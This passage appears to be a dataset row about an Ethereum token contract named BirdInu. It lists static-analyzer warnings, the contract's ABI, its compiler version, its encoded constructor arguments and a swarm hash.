"lines": {"BirdInu.sol": [159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [75]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [222]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [218]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [214]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"BirdInu.sol": [209]}}] | [{"error": "Integer Underflow.", "line": 35, "level": "Warning"}, {"error": "Integer Underflow.", "line": 34, "level": "Warning"}, {"error": "Integer Overflow.", "line": 25, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 79, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 138, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 139, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 203, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 212, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 214, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 216, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 218, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 220, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 222, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 224, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 226, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 228, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 167, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 175, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 97, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 144, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 201, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 97, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 144, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 201, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 32, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 164, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 49, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 49, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 93, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 105, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 125, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 159, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 170, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"},{"name":"allowApprove","type":"bool"}],"name":"addAllow","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"allow","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"},{"name":"_totalSupply","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000003635c9adc5dea00000000000000000000000000000000000000000000000000000000000000000000b62697264696e752e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000742697264496e7500000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://c9ae89971800fff7779d73cae8751adece8756c9e25018b47c136770a31d7649 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.